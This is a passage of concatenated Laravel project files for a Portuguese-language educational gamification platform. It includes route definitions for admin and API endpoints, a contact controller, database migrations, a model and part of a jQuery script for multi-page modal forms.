'CodigoTransmissaoController@getTokenRandomico')->name('transmissao-token'); // Mural escola Route::get('escola/{escola_id}/mural', 'EscolaController@muralEscola')->name('escola.mural'); Route::get('escola/{escola_id}/mural/modo', 'EscolaController@modoPostagem')->name('escola.mural-modo-postagem'); // Mural Gestão da Escola Route::get('escola/{escola_id}/mural-gestao', 'EscolaController@muralGestaoEscola')->name('escola.mural-gestao'); Route::post('escola/{escola_id}/mural-gestao/postar', 'EscolaController@postarMuralGestaoEscola')->name('escola.mural-gestao-postar'); Route::get('escola/{escola_id}/mural-gestao/postagem/{postagem_id}/arquivo', 'EscolaController@getArquivoGestao')->name('escola.mural-gestao-postagem-arquivo'); Route::post('escola/{escola_id}/mural-gestao/postagem/{postagem_id}/excluir', 'EscolaController@postExcluirPostagemGestao')->name('escola.mural-gestao-postagem-excluir'); Route::post('escola/{escola_id}/mural-gestao/postagem/{postagem_id}/comentario/enviar', 'EscolaController@postEnviarComentarioPostagemGestao')->name('escola.mural-gestao-postagem-comentario-enviar'); Route::post('escola/{escola_id}/mural-gestao/postagem/{postagem_id}/comentario/{idComentario}/excluir', 'EscolaController@postExcluirComentarioPostagemGestao')->name('escola.mural-gestao-postagem-comentario-excluir'); //Gestão de turmas - grade aulas Route::get('turma/{idTurma}/grade/listar', 'GradeAula\Admin\GradeAulaController@listar')->name('grade-listar'); Route::post('turma/{idTurma}/grade/nova', 'GradeAula\Admin\GradeAulaController@nova')->name('grade-nova'); Route::post('turma/grade/atualizar', 'GradeAula\Admin\GradeAulaController@atualizar')->name('grade-atualizar'); Route::post('turma/grade/deletar', 'GradeAula\Admin\GradeAulaController@deletar')->name('grade-deletar'); // Glossario Route::get('glossario', function () { return redirect()->route('gestao.glossario', ['word' => 'A']); })->name('glossario.index'); Route::post('glossario/salvar', 'Glossario\Admin\GlossarioController@store')->name('glossario.salvar'); Route::post('glossario/excluir', 'Glossario\Admin\GlossarioController@delete')->name('glossario-excluir'); Route::get('glossario/{word}', 'Glossario\Admin\GlossarioController@create')->name('glossario'); //Relatorios Route::get('relatorios', 'RelatorioController@index')->name('relatorios'); // Escolas Route::get('escolas', 'EscolaController@escolas')->name('escolas'); Route::get('escola/{idEscola}/painel', 'EscolaController@painelEscola')->name('escola-painel'); Route::post('escola/enviar', 'EscolaController@postCriarEscola')->name('escola-nova'); Route::get('escola/{idEscola}/editar', 'EscolaController@getEscola')->name('escola-editar'); Route::post('escola/salvar', 'EscolaController@postSalvarEscola')->name('escola-salvar'); Route::post('escola/excluir', 'EscolaController@postExcluirEscola')->name('escola-excluir'); // Códigos de acesso da escola Route::get('escola/codigos', 'CodigoAcessoEscolaController@index')->name('escola.codigos'); Route::post('escola/{idEscola}/codigos/gerar', 'CodigoAcessoEscolaController@postGerarCodigosAcesso')->name('escola.codigos-gerar'); Route::post('escola/{idEscola}/codigo/{idCodigo}/excluir', 'CodigoAcessoEscolaController@postExcluirCodigoAcesso')->name('escola.codigo-excluir'); // Metricas Route::get('metricas', 'MetricaController@getMetricas')->name('metricas'); // Route::get('metrica', 'MetricaController@getMetrica')->name('metrica'); Route::get('metrica/{titulo}', 'MetricaController@getMetrica')->name('metrica'); // Badges Route::prefix('badges')->group(function () { Route::get('/', 'Badges\Admin\BadgesController@index')->name('badges.listar'); Route::post('/excluir', 'Badges\Admin\BadgesController@delete')->name('badges.excluir'); Route::post('/cadastrar', 'Badges\Admin\BadgesController@store')->name('badges.cadastrar'); Route::post('/atualizar/{idBadge}', 'Badges\Admin\BadgesController@update')->name('badges.atualizar'); Route::post('/atualizar/icone/{idBadge}', 'Badges\Admin\BadgesController@updateIconBadge')->name('badges.atualizar.icone'); }); // Desafios Route::group(['prefix' => 'desafios', 'as' => 'desafios.'], function () { Route::get('/', 'Desafios\Admin\DesafiosController@index')->name('listar'); Route::post('/cadastrar', 'Desafios\Admin\DesafiosController@store')->name('cadastrar'); Route::get('/buscar/{idDesafio}', 'Desafios\Admin\DesafiosController@fetch')->name('buscar'); Route::post('/atualizar/{idDesafio}', 'Desafios\Admin\DesafiosController@update')->name('atualizar'); Route::post('/excluir/{idDesafio}', 'Desafios\Admin\DesafiosController@delete')->name('excluir'); }); // Missoes Route::group(['prefix' => 'missoes', 'as' => 'missoes.'], function () { Route::get('/', 'Missoes\Admin\MissoesController@index')->name('listar'); Route::post('/cadastrar', 'Missoes\Admin\MissoesController@store')->name('cadastrar'); Route::get('/buscar/{idMissao}', 'Missoes\Admin\MissoesController@fetch')->name('buscar'); Route::post('/atualizar/{idMissao}', 'Missoes\Admin\MissoesController@update')->name('atualizar'); Route::post('/excluir/{idMissao}', 'Missoes\Admin\MissoesController@delete')->name('excluir'); }); // Conquistas Route::group(['prefix' => 'conquistas', 'as' => 'conquistas.'], function () { Route::get('/', 'Conquistas\Admin\ConquistasController@index')->name('listar'); Route::post('/cadastrar', 'Conquistas\Admin\ConquistasController@store')->name('cadastrar'); Route::get('/buscar/{idConquista}', 'Conquistas\Admin\ConquistasController@fetch')->name('buscar'); Route::post('/atualizar/{idConquista}', 'Conquistas\Admin\ConquistasController@update')->name('atualizar'); Route::post('/excluir/{idConquista}', 'Conquistas\Admin\ConquistasController@delete')->name('excluir'); }); // Recompensas Virtuais Route::group(['prefix' => 'recompensas-virtuais', 'as' => 'recompensas-virtuais.'], function () { Route::get('/', 'RecompensasVirtuais\Admin\RecompensasVirtuaisController@index')->name('listar'); Route::post('/cadastrar', 'RecompensasVirtuais\Admin\RecompensasVirtuaisController@store')->name('cadastrar'); Route::get('/buscar/{idRecompensaVirtual}', 'RecompensasVirtuais\Admin\RecompensasVirtuaisController@fetch')->name('buscar'); Route::post('/atualizar/{idRecompensaVirtual}', 'RecompensasVirtuais\Admin\RecompensasVirtuaisController@update')->name('atualizar'); Route::post('/excluir/{idRecompensaVirtual}', 'RecompensasVirtuais\Admin\RecompensasVirtuaisController@delete')->name('excluir'); }); // Recompensas Extra-Jogo Route::group(['prefix' => 'recompensas-extra-jogo', 'as' => 'recompensas-extra-jogo.'], function () { Route::get('/', 'RecompensasExtraJogo\Admin\RecompensasExtraJogoController@index')->name('listar'); Route::post('/cadastrar', 'RecompensasExtraJogo\Admin\RecompensasExtraJogoController@store')->name('cadastrar'); Route::get('/buscar/{idRecompensaExtraJogo}', 'RecompensasExtraJogo\Admin\RecompensasExtraJogoController@fetch')->name('buscar'); Route::post('/atualizar/{idRecompensaExtraJogo}', 'RecompensasExtraJogo\Admin\RecompensasExtraJogoController@update')->name('atualizar'); Route::post('/excluir/{idRecompensaExtraJogo}', 'RecompensasExtraJogo\Admin\RecompensasExtraJogoController@delete')->name('excluir'); }); // Habilidades Route::group(['prefix' => 'habilidades', 'as' => 'habilidades.'], function () { Route::get('/', 'Habilidades\Admin\HabilidadesController@index')->name('listar'); Route::post('/excluir', 'Habilidades\Admin\HabilidadesController@delete')->name('excluir'); Route::post('/cadastrar', 'Habilidades\Admin\HabilidadesController@store')->name('cadastrar'); Route::post('/atualizar/{idBadge}', 'Habilidades\Admin\HabilidadesController@update')->name('atualizar'); }); // Banco de Questões Route::group(['prefix' => 'banco-de-questoes', 'as' => 'questoes.'], function () { Route::get('/', 'Questoes\Admin\QuestoesController@index')->name('listar'); Route::get('/ajax', 'Questoes\Admin\QuestoesController@indexAjaxAll')->name('listar.ajaxall'); // Route::get('/ajax/{id}', 'Questoes\Admin\QuestoesController@indexAjax')->name('listar.ajax'); Route::post('/excluir', 'Questoes\Admin\QuestoesController@delete')->name('excluir'); Route::post('/cadastrar', 'Questoes\Admin\QuestoesController@store')->name('cadastrar'); Route::post('/cadastrar/ajax', 'Questoes\Admin\QuestoesController@storeAjax')->name('cadastrar.ajax'); Route::post('/atualizar/{idQuestao}', 'Questoes\Admin\QuestoesController@update')->name('atualizar'); }); // Teste de nivelamento Route::group(['prefix' => 'teste-de-nivelamento', 'as' => 'teste.'], function () { Route::get('/', 'TesteNivelamento\Admin\TesteNivelamentoController@index')->name('listar'); Route::get('/editar/{idTeste}', 'TesteNivelamento\Admin\TesteNivelamentoController@edit')->name('editar'); Route::post('/excluir', 'TesteNivelamento\Admin\TesteNivelamentoController@delete')->name('excluir'); Route::post('/cadastrar', 'TesteNivelamento\Admin\TesteNivelamentoController@store')->name('cadastrar'); Route::post('/atualizar/{idTeste}', 'TesteNivelamento\Admin\TesteNivelamentoController@update')->name('atualizar'); Route::get('/resultados/{idTeste}', 'TesteNivelamento\Admin\TesteNivelamentoController@listarResultados')->name('resultados'); Route::get('/resultados/exibe/{idResultado}', 'TesteNivelamento\Admin\TesteNivelamentoController@corrigeResultado')->name('resultado.exibe'); Route::get('/resultados/correcao/{idRespostaQuestao}/{value}', 'TesteNivelamento\Admin\TesteNivelamentoController@correcaoResultado')->name('resultado.correcao'); }); // Plano de aulas Route::group(['prefix' => 'plano-de-aulas', 'as' => 'plano-aulas.'], function () { Route::get('/', 'PlanoAulas\Admin\PlanoAulasController@index')->name('listar'); Route::post('/cadastrar', 'PlanoAulas\Admin\PlanoAulasController@store')->name('cadastrar'); Route::post('/atualizar/{idPlano}', 'PlanoAulas\Admin\PlanoAulasController@update')->name('atualizar'); Route::post('/excluir', 'PlanoAulas\Admin\PlanoAulasController@delete')->name('excluir'); Route::get('/getDates/{idGrade}', 'PlanoAulas\Admin\PlanoAulasController@getDaysAjax')->name('ajax'); Route::post('/filtrar', 'PlanoAulas\Admin\PlanoAulasController@filtrar')->name('filtrar'); Route::post('/busca', 'PlanoAulas\Admin\PlanoAulasController@busca')->name('busca'); }); // Artigos Route::group(['prefix' => 'artigos', 'as' => 'artigos.'], function () { Route::get('/', 'ArtigosController@gestaoArtigos')->name('index'); Route::get('/novo', 'ArtigosController@create')->name('novo'); Route::get('{artigo_id}', 'ArtigosController@getArtigo')->name('get'); Route::get('ler/{artigo_id}-{sluged_title}', 'ArtigosController@lerArtigo')->name('ler'); Route::get('{artigo_id}/editar', 'ArtigosController@editarArtigo')->name('editar'); Route::post('{artigo_id}/excluir', 'ArtigosController@delete')->name('excluir'); Route::post('/cadastrar', 'ArtigosController@store')->name('cadastrar'); Route::post('/atualizar', 'ArtigosController@update')->name('atualizar'); }); // Banco de imagens Route::group(['prefix' => 'banco-imagens', 'as' => 'banco-imagens.'], function () { Route::get('/', 'BancoImagensController@index')->name('index'); Route::get('{imagem_id}', 'BancoImagensController@getImagem')->name('get'); Route::get('{imagem_id}/visualizar', 'BancoImagensController@getVisualizar')->name('visualizar'); Route::get('{imagem_id}/arquivo', 'BancoImagensController@getArquivo')->name('baixar'); Route::post('{imagem_id}/excluir', 'BancoImagensController@delete')->name('excluir'); Route::post('/cadastrar', 'BancoImagensController@store')->name('cadastrar'); Route::post('/atualizar', 'BancoImagensController@update')->name('atualizar'); }); // Trilhas Route::group(['prefix' => 'trilhas', 'as' => 'trilhas.'], function () { Route::get('/', 'Trilhas\Admin\TrilhasController@index')->name('listar'); Route::get('/nova', 'Trilhas\Admin\TrilhasController@create')->name('create'); Route::post('/store', 'Trilhas\Admin\TrilhasController@store')->name('store'); Route::get('/{idTrilha}/editar', 'Trilhas\Admin\TrilhasController@edit')->name('edit'); Route::post('/{idTrilha}/update', 'Trilhas\Admin\TrilhasController@update')->name('update'); Route::post('/{idTrilha}/excluir', 'Trilhas\Admin\TrilhasController@destroy')->name('destroy'); }); // Album Route::group(['prefix' => 'albuns', 'as' => 'albuns.'], function () { Route::get('/', 'Album\Admin\AlbumController@index')->name('listar'); Route::get('/nova', 'Album\Admin\AlbumController@create')->name('create'); Route::post('/store', 'Album\Admin\AlbumController@store')->name('store'); Route::get('/{idAlbum}/editar', 'Album\Admin\AlbumController@edit')->name('edit'); Route::post('/{idAlbum}/update', 'Album\Admin\AlbumController@update')->name('update'); Route::post('/{idAlbum}/excluir', 'Album\Admin\AlbumController@destroy')->name('destroy'); }); // Audios Route::group(['prefix' => 'audios', 'as' => 'audios.'], function () { Route::get('/', 'Audio\Admin\AudioController@index')->name('listar'); Route::post('/store', 'Audio\Admin\AudioController@store')->name('store'); Route::post('/{idAudio}/update', 'Audio\Admin\AudioController@update')->name('update'); Route::post('/{idAudio}/excluir', 'Audio\Admin\AudioController@destroy')->name('destroy'); Route::get('/{idAudio}/interacoes', 'AudioInteracoes\Admin\AudioInteracoesController@view')->name('interacoes'); }); // Roteiros Route::group(['prefix' => 'roteiros', 'as' => 'roteiros.'], function () { Route::get('/', 'Roteiros\Admin\RoteirosController@index')->name('listar'); Route::post('/store', 'Roteiros\Admin\RoteirosController@store')->name('store'); Route::post('/{idRoteiro}/update', 'Roteiros\Admin\RoteirosController@update')->name('update'); Route::post('/{idRoteiro}/view', 'Roteiros\Admin\RoteirosController@view')->name('view'); Route::post('/{idRoteiro}/destroy', 'Roteiros\Admin\RoteirosController@destroy')->name('destroy'); Route::post('/search', 'Roteiros\Admin\RoteirosController@index')->name('search'); Route::post('/updateStatusTopico', 'Roteiros\Admin\RoteirosController@ajaxUpdateStatusTopico')->name('updateStatusTopico'); }); // Playlists Route::group(['prefix' => 'playlists', 'as' => 'playlists.'], function () { Route::get('/', 'Playlist\PlaylistController@index')->name('listar'); }); // Interações de Audios Route::group(['prefix' => 'audios-interacoes', 'as' => 'audios-interacoes.'], function () { Route::get('/', 'AudioInteracoes\Admin\AudioInteracoesController@index')->name('listar'); Route::post('/store', 'AudioInteracoes\Admin\AudioInteracoesController@store')->name('store'); Route::post('/{idAudio}/update', 'AudioInteracoes\Admin\AudioInteracoesController@update')->name('update'); Route::get('/{idAudio}/view', 'AudioInteracoes\Admin\AudioInteracoesController@view')->name('view'); Route::post('/{idAudioInteracao}/destroy', 'AudioInteracoes\Admin\AudioInteracoesController@destroy')->name('destroy'); Route::post('/search', 'AudioInteracoes\Admin\AudioInteracoesController@index')->name('search'); }); Route::resource('gamificacao', 'GamificacaoController')->only([ 'index', 'store', //'show', ]); //Usuarios Route::get('usuarios', 'DashboardController@usuarios')->name('usuarios'); Route::post('usuarios/novo', 'UserController@postNovo')->name('usuarios.novo'); Route::get('usuarios/{idUsuario}/editar', 'UserController@getUsuario')->name('usuarios.editar'); Route::post('usuarios/salvar', 'UserController@update')->name('usuarios.salvar'); Route::get('usuarios/{idUsuario}/deletar', 'UserController@delete')->name('usuarios.deletar'); //Grupo Ajuda Route::group(['prefix' => 'ajuda', 'as' => 'ajuda.'], function () { //Artigos Route::get('artigos', 'ArtigoAjudaController@getAdmin')->name('artigos'); Route::get('artigos/{idArtigo}', 'ArtigoAjudaController@getArtigo')->name('artigo'); Route::post('artigos/novo', 'ArtigoAjudaController@postNovo')->name('artigo-novo'); Route::post('artigos/atualizar', 'ArtigoAjudaController@postAtualizar')->name('artigo-update'); Route::get('artigos/{idArtigo}/deletar', 'ArtigoAjudaController@getDeletarArtigo')->name('artigo-deletar'); }); }); //Grupo Dashboard Route::group(['prefix' => 'dashboard', 'as' => 'dashboard.', 'middleware' => 'admin'], function () { //Financeiro Route::get('financeiro', 'FinanceiroController@index')->name('financeiro'); // Usar apenas se não obtiver linha de comando Route::get('/artisan-clearall', function () { Artisan::call('config:clear'); Artisan::call('cache:clear'); Artisan::call('view:clear'); return 'Comando artisan executado com sucesso!'; }); // Documentação Route::prefix('documentacao')->group(function () { Route::prefix('api')->group(function () { Route::get('/', 'Documentacao\Api\DocumentacaoController@index')->name('doc.api.index'); }); }); }); //Contato Route::get('/contato', 'ContatoController@index')->name('contato'); Route::post('/contato', 'ContatoController@post')->name('contato.enviar'); //User image Route::get('/usuarios/{idUsuarios}/perfil/image', 'UserController@imagemPerfil')->name('usuario.perfil.image'); // Logout routes Route::get('/sair', function () { Session::flush(); return redirect()->to('/'); })->name('sair'); Route::post('/logout', function () { Session::flush(); return redirect()->to('/'); })->name('logout'); // Fim global auth middleware }); //User passwords Route::get('/esqueci-senha', 'UserController@esqueciSenha')->name('usuario.esqueci-senha'); Route::post('/esqueci-senha', 'UserController@postEsqueciSenha')->name('usuario.esqueci-senha'); Route::get('/resetar-senha/{token}', 'UserController@resetarSenha')->name('usuario.resetar-senha'); Route::post('/resetar-senha', 'UserController@postResetarSenha')->name('usuario.resetar-senha'); // Routes Login/Cadastro Route::get('/entrar', 'HomeController@entrar')->name('entrar'); Route::get('/logar', 'HomeController@entrar')->name('logar'); Route::get('/registrar', 'HomeController@registrar')->name('registrar'); Route::get('/cadastrar', 'HomeController@registrar')->name('cadastrar'); // Redirecionador temporario Route::get('/uploads/aplicacoes/{id_aplicacao}/jogo', function ($id_aplicacao) { return redirect("/uploads/aplicacoes/$id_aplicacao/"); }); // Api Route::group([ 'prefix' => 'api/v1', 'as' => 'api.v1', // 'middleware' => 'cors' ], function () { Route::get('/', 'ApiController@index')->name('index'); // Gamificação Route::post('gamificacao/usuario/{idUsuario}/incrementar', 'GamificacaoUsuario\Api\GamificacaoUsuarioController@incrementar')->name('gamificacao.incrementar'); // Store User Route::post('/user/store', 'ApiController@userStore')->name('user.store'); // Forget User Pass Route::post('/user/forget/pass', 'ApiController@userForgetPass')->name('user.forget.pass'); //Auth Route::post('/login', 'ApiController@postLogin')->name('login'); Route::get('/logout', 'ApiController@logout')->name('logout'); // Api auth middleware group Route::group(['middleware' => 'api.auth'], function () { Route::get('/user', 'ApiController@getUser')->name('user'); Route::post('/user/update', 'ApiController@userUpdate')->name('user.update'); Route::post('/user/update/image', 'ApiController@userUpdateImage')->name('user.update.image'); Route::get('/aplicacoes', 'ApiController@getAplicacoes')->name('aplicacoes'); // Aplicaçao Route::get('/aplicacao/{idAplicacao}', 'ApiController@getAplicacao')->name('aplicacao'); // Play aplicacao Route::get('/aplicacao/{idAplicacao}/play', 'ApiController@getAplicacaoPlay')->name('aplicacao-play'); // User & Instrutor Route::prefix('user')->group(function () { Route::get('instrutor/{id}', 'User\Api\UserApiController@getInstrutor')->name('user.instrutor.get'); }); // Audios Route::prefix('audios')->group(function () { Route::get('/{filter?}', 'Audio\Api\AudioApiController@listar')->name('audios.listar'); Route::get('/audio/{idAudio}', 'Audio\Api\AudioApiController@show')->name('audios.show'); }); // Instrutores Route::prefix('instrutores')->group(function () { Route::get('/{filter?}', 'API\InstructorController@index')->name('instructors.listar'); Route::get('/instrutor/{idInstrutor}', 'API\InstructorController@show')->name('instructors.show'); }); // Escolas Route::prefix('escolas')->group(function () { Route::get('/{filter?}', 'API\EscolaController@index')->name('escolas.listar'); Route::get('/escola/{idEscola}', 'API\EscolaController@show')->name('escolas.show'); }); // Albuns Route::prefix('albuns')->group(function () { Route::get('/{filter?}', 'Album\Api\AlbumApiController@listar')->name('albuns.listar'); Route::get('/album/{idAlbum}', 'Album\Api\AlbumApiController@show')->name('albuns.show'); Route::get('/home/destaques', 'Album\Api\AlbumApiController@destaques')->name('albuns.destaques'); }); // Albuns da Escola Route::group([ 'prefix' => '{idEscola}' ], function () { Route::get('/albuns/{filter?}', 'Album\Api\AlbumApiController@listar')->name('albuns.listar'); Route::get('/albuns/home/destaques', 'Album\Api\AlbumApiController@destaques')->name('albuns.destaques'); }); // Playlists Route::prefix('playlists')->group(function () { Route::get('/', 'Playlist\Api\PlaylistApiController@listar')->name('playlists.listar'); Route::get('/playlist/{idPlaylist}', 'Playlist\Api\PlaylistApiController@show')->name('playlists.show'); Route::get('/playlist/destroy/{idPlaylist}', 'Playlist\Api\PlaylistApiController@destroy')->name('playlists.destroy'); Route::post('/playlist/{idPlaylist}/audio/destroy', 'Playlist\Api\PlaylistApiController@removeOneAudio')->name('playlists.audio.destroy'); Route::post('/playlist/{idPlaylist}/audio/store', 'Playlist\Api\PlaylistApiController@storeOneAudio')->name('playlists.audio.store'); Route::post('/criar', 'Playlist\Api\PlaylistApiController@store')->name('playlists.store'); Route::post('/atualizar/{idPlaylist}', 'Playlist\Api\PlaylistApiController@update')->name('playlists.update'); Route::post('/audios/atualizar/{idPlaylist}', 'Playlist\Api\PlaylistApiController@updateAudios')->name('playlists.audios.update'); }); // Favoritos Route::prefix('favoritos')->group(function () { Route::get('listar/{field}', 'Favoritos\Api\FavoritosApiController@listar')->name('favoritos.listar'); Route::post('adicionar', 'Favoritos\Api\FavoritosApiController@store')->name('playlist.store'); Route::get('/remover/{id}', 'Favoritos\Api\FavoritosApiController@destroy')->name('playlist.destroy'); }); // Recentes Route::prefix('recentes')->group(function () { Route::get('/listar', 'Recentes\Api\RecentesApiController@listar')->name('recentes.listar'); Route::post('/store', 'Recentes\Api\RecentesApiController@store')->name('recentes.store'); }); // Busca Route::prefix('busca')->group(function () { Route::post('/', 'Busca\Api\BuscaApiController@listar')->name('busca.listar'); }); // Badges Route::prefix('badges')->group(function () { // http://localhost:8000/api/jpiaget/badges/usuario/1/19/desbloquear Route::get('usuario/{idUsuario}/{idBadge}/desbloquear', 'Badges\Api\BadgesController@desbloquearUsuarioBadge'); // http://localhost:8000/api/jpiaget/badges/19/desbloquear Route::get('{idBadge}/desbloquear', 'Badges\Api\BadgesController@desbloquearUsuarioAuthBadge'); }); // Métricas Route::prefix('metricas')->group(function () { // http://localhost:8000/api/jpiaget/metricas/nova Route::post('nova', 'Metricas\Api\MetricasController@nova'); }); // Habilidades Route::prefix('habilidades')->group(function () { // http://localhost:8000/api/jpiaget/habilidades/usuario/1/2 Route::post('usuario/{idUsuario}/{idHabilidade}', 'Habilidades\Api\HabilidadesController@UsuarioHabilidade'); // http://localhost:8000/api/jpiaget/habilidades/2 Route::post('{idHabilidade}', 'Habilidades\Api\HabilidadesController@UsuarioAuthHabilidade'); }); // Gamificação listar xp Route::get('gamificacao/usuario/{idUsuario}', 'GamificacaoUsuario\Api\GamificacaoUsuarioController@listar')->name('gamificacao.listar'); // Api gestão group Route::group(['middleware' => 'api.admin'], function () { // Gamificação incrementar //Route::post('gamificacao/usuario/{idUsuario}/incrementar', 'GamificacaoUsuario\Api\GamificacaoUsuarioController@incrementar')->name('gamificacao.incrementar'); }); }); // Api auth middleware group Route::group(['middleware' => 'api.auth'], function () { // Retorna usuário logado Route::get('/user', 'ApiController@getUser')->name('user'); Route::get('user/mensagens', 'MensagemController@getMensagens')->name('mensagens'); Route::get('user/destinatarios', 'MensagemController@getUsuariosConversa')->name('mensagens-destinatarios'); Route::get('user/mensagens/{idDestinatario}', 'MensagemController@getMensagensTrocadas')->name('mensagens-trocadas'); Route::post('user/mensagem/enviar', 'MensagemController@postEnviarMensagem')->name('mensagem-enviar'); // Enviar metrica para usuario logado Route::post('/metricas/nova', 'ApiController@postNovaMetrica')->name('metrica-nova'); // Medalhas Route::get('/badges', 'ApiController@getBadges')->name('badges'); // Medalhas destravadas do usuário logado Route::get('/user/badges', 'Api\BadgeController@getUnlockedBadges')->name('badges-destravadas'); // Destravar medalha - usuário logado Route::post('/user/badge/{idBadge}/destravar', 'Api\BadgeController@postUnlockBadge')->name('badge-destravar'); // Atualiza o progresso do usuário em determinado conteúdo Route::post('/user/progresso/{idConteudo}/atualizar', 'ApiController@postProgressoConteudo')->name('progresso-atualizar'); // Codigo transmissao Route::get('/transmissao/{idTransmissao}', 'ApiController@getCodigoTransmissao')->name('codigo-transmissao'); // Glossario Route::get('/glossario/{letra?}', 'ApiController@getGlossario')->name('glossario'); //Aplicacoes Route::get('/aplicacoes', 'ApiController@getAplicacoes')->name('aplicacoes'); // Aplicaçao Route::get('/aplicacao/{idAplicacao}', 'ApiController@getAplicacao')->name('aplicacao'); // Play aplicacao Route::get('/aplicacao/{idAplicacao}/play', 'ApiController@getAplicacaoPlay')->name('aplicacao-play'); // Conteudos Route::get('/conteudos', 'ApiController@getConteudos')->name('conteudos'); // Conteudo Route::get('/conteudo/{idConteudo}', 'ApiController@getConteudo')->name('conteudo'); // Play Conteudo Route::get('/conteudo/{idConteudo}/play', 'ApiController@getConteudoPlay')->name('conteudo-play'); // Mural turma Route::get('/turma/{idTurma}/mural', 'ApiController@getMuralTurma')->name('turma-mural'); // Mural turma Route::post('/turma/{idTurma}/mural/postar', 'ApiController@postMuralTurma')->name('turma-mural-postar'); // Duvidas professor Route::get('professor/{idProfessor}/duvidas', 'ApiController@getDuvidasProfessor')->name('professor-duvidas'); // Duvida professor Route::get('/professor/{idProfessor}/duvida/{idDuvida}', 'ApiController@getDuvidaProfessor')->name('professor-duvida'); // Avaliacoes professor Route::get('/professor/{idProfessor}/avaliacoes', 'ApiController@getAvaliacoesProfessor')->name('professor-avaliacoes'); }); // Api admin middleware group Route::group(['middleware' => 'api.admin'], function () { // Destravar medalha - usuário logado Route::post('user/{$idUsuario}/badge/{idBadge}/destravar', 'Api\BadgeController@postUsuarioUnlockBadge')->name('usuario.badge-destravar'); }); // Rota de fuga para api nao encontrada Route::get('/{page?}', function ($endpoint) { return response()->json(["error" => "Endpoint '" . $endpoint . "' não encontrado."]); }); // Rota de fuga para api nao encontrada Route::post('/{page?}', function ($endpoint) { return response()->json(["error" => "Endpoint '" . $endpoint . "' não encontrado."]); }); }); <file_sep>/app/Http/Controllers/ContatoController.php <?php namespace App\Http\Controllers; use Illuminate\Http\Request; use Illuminate\Support\Facades\Input; class ContatoController extends Controller { public function index () { return view('contato'); } public function post () { return redirect('/'); } } <file_sep>/database/migrations/2019_08_20_163355_create_configuracoes_gamificacao_table.php <?php use Illuminate\Support\Facades\Schema; use Illuminate\Database\Schema\Blueprint; use Illuminate\Database\Migrations\Migration; class CreateConfiguracoesGamificacaoTable extends Migration { /** * Run the migrations. * * @return void */ public function up() { Schema::create('configuracoes_gamificacao', function (Blueprint $table) { $table->increments('id'); $table->integer('user_id'); $table->integer('escola_id'); $table->boolean('login_ativo')->nullable(); $table->integer('login_xp')->nullable(); $table->boolean('conclusao_conteudo_ativo')->nullable(); $table->integer('conclusao_conteudo_xp')->nullable(); $table->boolean('conclusao_aula_ativo')->nullable(); $table->integer('conclusao_aula_xp')->nullable(); $table->boolean('conclusao_curso_ativo')->nullable(); $table->integer('conclusao_curso_xp')->nullable(); $table->boolean('conclusao_teste_ativo')->nullable(); $table->integer('conclusao_teste_xp')->nullable(); $table->boolean('topico_ativo')->nullable(); $table->integer('topico_xp')->nullable(); $table->boolean('comentario_ativo')->nullable(); $table->integer('comentario_xp')->nullable(); $table->boolean('level_up_curso_ativo')->nullable(); $table->integer('level_up_curso')->nullable(); $table->boolean('level_up_conquista_ativo')->nullable(); $table->integer('level_up_conquista')->nullable(); $table->boolean('formula_level_ativo')->nullable(); $table->string('formula_level')->nullable(); $table->timestamps(); }); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::dropIfExists('configuracoes_gamificacao'); } } <file_sep>/app/Entities/Glossario/Glossario.php <?php namespace App\Entities\Glossario; use Illuminate\Database\Eloquent\Model; class Glossario extends Model { protected $table = "glossarios"; protected $guarded = ['id']; } <file_sep>/database/migrations/2019_08_18_132005_add_fields_to_favoritos_table.php <?php use Illuminate\Support\Facades\Schema; use Illuminate\Database\Schema\Blueprint; use Illuminate\Database\Migrations\Migration; class AddFieldsToFavoritosTable extends Migration { /** * Run the migrations. * * @return void */ public function up() { Schema::table('favoritos', function (Blueprint $table) { $table->integer('conteudo_id')->nullable(); $table->integer('album_id')->nullable(); $table->integer('audio_id')->nullable(); }); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::table('favoritos', function (Blueprint $table) { $table->dropColumn('conteudo_id'); $table->dropColumn('album_id'); $table->dropColumn('audio_id'); }); } } <file_sep>/public/assets/js/main.js "use strict"; //console.log("App url: " + appurl); function proximoModal(element) { var qtPaginas = $(element).find('.form-page').length; // console.log(qtPaginas); if(qtPaginas > 1) { var idPaginaAtual = $(element).find('.form-page:not(.d-none)').attr('id'); // console.log(idPaginaAtual); var paginaAtual = $(element).find('.form-page:not(.d-none)').attr('id').replace("page",""); // console.log(paginaAtual); var preenchido = true; $(element).find('#page' + paginaAtual + ' :input[required]').each(function() { if( $(this).val() == "") { $(this).focus(); preenchido = false; return false; } }); if(!preenchido) { console.log("Preencha tudo nesta pagina!"); swal('Atenção!', "Você deve preencher todos os campos obrigatórios!", "warning"); return; } if( $(element).find("#page" + (Number(paginaAtual) + 1)).length >= 1 ) { $(element).find("#" + idPaginaAtual).addClass("d-none"); $(element).find("#page" + (Number(paginaAtual) + 1)).removeClass("d-none"); } else { console.log("Não há próxima página. (" + (Number(paginaAtual) + 1) + ")"); } } else { console.log("Sem páginas"); } } function anteriorModal(element) { var qtPaginas = $(element).find('.form-page').length; // console.log(qtPaginas); if(qtPaginas > 1) { var idPaginaAtual = $(element).find('.form-page:not(.d-none)').attr('id'); // console.log(idPaginaAtual); var paginaAtual = $(element).find('.form-page:not(.d-none)').attr('id').replace("page",""); // console.log(paginaAtual); if( $(element).find("#page" + (Number(paginaAtual) - 1)).length >= 1 ) { $(element).find("#" + idPaginaAtual).addClass("d-none"); $(element).find("#page" + (Number(paginaAtual) - 1)).removeClass("d-none"); } else { console.log("Não há página anterior. (" + (Number(paginaAtual) - 1) + ")"); } } else { console.log("Sem páginas"); } } //Multiple items inputs function showInputMultiple(element) { $(element).addClass('d-none'); $(element.parentNode).find("#txtInputMultiple").removeClass('d-none'); $(element.parentNode).find("#txtInputMultiple").focus(); // $("#" + element.parentNode.id + " > #divInputAutor").addClass('d-none'); // $("#" + element.parentNode.id + " > #txtInputAutor").removeClass('d-none'); // $("#" + element.parentNode.id + " > #txtInputAutor").focus(); } function endInputMultiple(element) { $(element).addClass('d-none'); $(element.parentNode).find("#divInputMultiple").removeClass('d-none'); var inputValue = element.value; if(inputValue.indexOf(",") > 0) { var valores = inputValue.split(', '); valores.forEach(val => { if(val.indexOf(", ") > 0) val = val.replace(", ", ""); else val = val.replace(",", ""); var novoValor = '<span class="tag-autor mr-2 p-1 px-3">'+ '<span class="autor-name">' + val + '</span>'+ '<button type="button" onclick="removerValor(this)" class="btn p-0 m-0 ml-1 text-white bg-transparent"><i class="far 